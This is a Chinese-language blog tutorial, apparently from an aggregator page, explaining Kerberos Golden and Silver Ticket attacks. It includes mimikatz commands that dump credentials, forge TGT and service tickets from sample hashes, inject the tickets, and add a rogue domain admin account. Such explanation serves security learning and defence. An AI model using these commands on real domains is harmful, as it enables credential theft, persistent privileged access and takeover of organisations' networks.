网络安全之黄金票据,白银票据

news/2024/11/16 2:26:19/
  1. 前言:今天来给大家讲讲黄金票据和白银票据
  2. Kerberos认证#
  3. 金票Golden ticket#
    1. 原理#
    2. 伪造金票的场景和所需条件#
    3. 利用方式#
  4. 银票SILVER TICKET#
    1. 原理#
    2. 伪造银票所需条件#
  5. 金票和银票的区别#
    1. 获取的权限不同#
    2. 认证流程不同#
    3. 加密方式不同#

前言:今天来给大家讲讲黄金票据和白银票据

Kerberos认证#

在学习黄金白银票据前,首先先了解一下什么是Kerberos认证

.KDC(Key Distribution Center)密钥分发中心。
在KDC中又分为两个部分:Authentication Service(AS,身份验证服务)和Ticket Granting Service(TGS,票据授权服务)

AD会维护一个Account Database(账户数据库). 它存储了域中所有用户的密码Hash和白名单。只有账户密码都在白名单中的Client才能申请到TGT。

👉网络安全&黑客&渗透学习大礼包icon-default.png?t=N3I4https://mp.weixin.qq.com/s?__biz=Mzg4MzkyNTA4Ng==&mid=2247483708&idx=1&sn=fb76b13d1d42ee9449febdccda3ff1b6&chksm=cf41480df836c11b6d9b0ff813717f516a5945c3e44cd8ca0bcf6f02f5169737f50af47f36a6#rd

Kerberos认证的大概流程

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,验证通过后AS会发放的一个TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向 Server 发起认证请求,这个过程分为三块:

Client 与 AS 的交互,
Client 与 TGS 的交互,
Client 与 Server 的交互。

黄金票据是伪造TGT,白银票据则是伪造ST

这里介绍域内常用的两种攻击方式:黄金票据Golden ticket、白银票据SILVER TICKET

金票Golden ticket#

原理#

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个
Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

伪造金票的场景和所需条件#

黄金票据的利用常用于权限维持阶段。假设这么一种情况,我们已拿到的域内所有的账户Hash,包括krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。

所需条件

1、域名称

2、域的SID值

3、域的KRBTGT账号的HASH

4、伪造任意用户名

(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)

利用方式#

先前利用mimikatz拿到了域管理权限时获取的域的SID和KRBTGT账号的NTLM HASH

1

2

privilege::debug

lsadump::lsa /patch

现在因为某些原因丢失了域控的权限,但是还有一个普通的域内用户

在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存:

1

kerberos::golden /user:administrator /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-1482179831 /krbtgt:ac923e1d7f56e0adf967356b8d41953e /ticket:ticket.kirbi

/user:需要伪造的域管理员用户
/domain:域名称
/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)

/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 

  第二步用mimikatz清除票据

1

2

kerberos::purge   \\清除票据

kerberos::tgt     \\查看票据

 第三步用mimikatz导入票据

1

kerberos::ptt ticket.kirbi

 成功访问dc

此时尝试创建一个的域管账号,命令执行成功:

1

2

net user aaa !@#qwe123 /add /domain

net group "domain admins" aaa /add/domain

银票SILVER TICKET#

原理#

白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

伪造银票所需条件#

1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH 
6.需要伪造的用户名

在域控中使用mimikatz获取相关信息

1

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

回到域内低权限的账号

先使用mimikatz清空票据,再导入伪造的票据,具体伪造票据的命令:

1

kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-1482179831 /target:DC.hacke.testlab /service:cifs /rc4:2c7f354c971b062e1e42f12a30709a7f /user:aaa /ptt

kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt

其中的用户名可以随便写

服务类型可以从以下内容中来进行选择,因为没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造

测试一下,成功执行dir \\dc\c$ ,并且可以创建域管账号,复制文件等:

金票和银票的区别#

获取的权限不同#

金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同#

金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server

加密方式不同#

金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密


http://www.ppmy.cn/news/60724.html

相关文章

84.python input输入函数知识拓展

文章目录 1. input函数知识回顾2. input常犯错误解析3. 用函数转换从终端输入的数据3.1 输入的数为整数,则用int转换为整数3.2 输入的数为浮点数,则用float转换为浮点数3.3 不考虑输入的数据类型,则用eval函数转换 4. 变量的多种赋值方式4.1 …

Java中有什么异常机制? 有哪些异常分类? 常见异常的详解以及解决异常思路?

Java中的异常机制是一种处理程序在运行时可能发生的不可预测情况的方式。异常是指在程序执行期间遇到的错误或其他意外事件,它会中断程序的正常执行流程。Java中的异常分为两类:Checked Exception(已检查异常)和Unchecked Excepti…

确定不进来看看吗?详细讲解C语言文件操作(示例分析每个函数)

前言 🎈个人主页:🎈 :✨✨✨初阶牛✨✨✨ 🐻推荐专栏: 🍔🍟🌯 c语言初阶 🔑个人信条: 🌵知行合一 🍉本篇简介:>:讲解c语言中的文件操作,文件的读取,输入输出,流的概念…

【第八篇:自动化建设前言】

难得请假休息1天,加更,加更~ 本周因为端午节放假,有更多时间准备,预计会再加更两篇 写在前面 在第上一篇中我给大家展示的是关于测试工具研发的内容,在本篇和后面三篇文章我将中给大家拆解展示是在日常的工作中关于自动化建设部分的内容。然后再之后的两篇我将给大家介…

现代CMake高级教程 - 第 9 章:分支与判断

双笙子佯谬老师的【公开课】现代CMake高级教程课程笔记 第 9 章:分支与判断 BOOL 类型的值 通常来说 BOOL 类型的变量只有 ON/OFF 两种取值。但是由于历史原因,TRUE/FALSE 和 YES/NO 也可以表示 BOOL 类型。个人建议同学们始终使用 ON/OFF 避免混淆。…

云上网络规划CIDR地址划分的参考示例

CIDR规则 0000 0000. //预留 0000 0000. //region Id 区域,例如北京、上海 000 //vpc Id 区域内部不同子网,例如北京1机房、2机房0 0000. //vSwitch Id 可用区机房,例如北京1可用区机房1的交换机 0000 0000. //resoure Id 交换机下不…

【C++初阶】类和对象(二)

​ ​📝个人主页:Sherry的成长之路 🏠学习社区:Sherry的成长之路(个人社区) 📖专栏链接:C初阶 🎯长路漫漫浩浩,万事皆有期待 上一篇博客:【C初阶】…

力扣刷题Day12

239. 滑动窗口最大值 (此题逻辑真心牛皮) 做此题之前,首先明确此题的目的。我最开始没搞明白此题目的,看代码的时候卡死。 copy他人代码: from collections import dequeclass MyQueue: #单调队列(从大到小def __ini…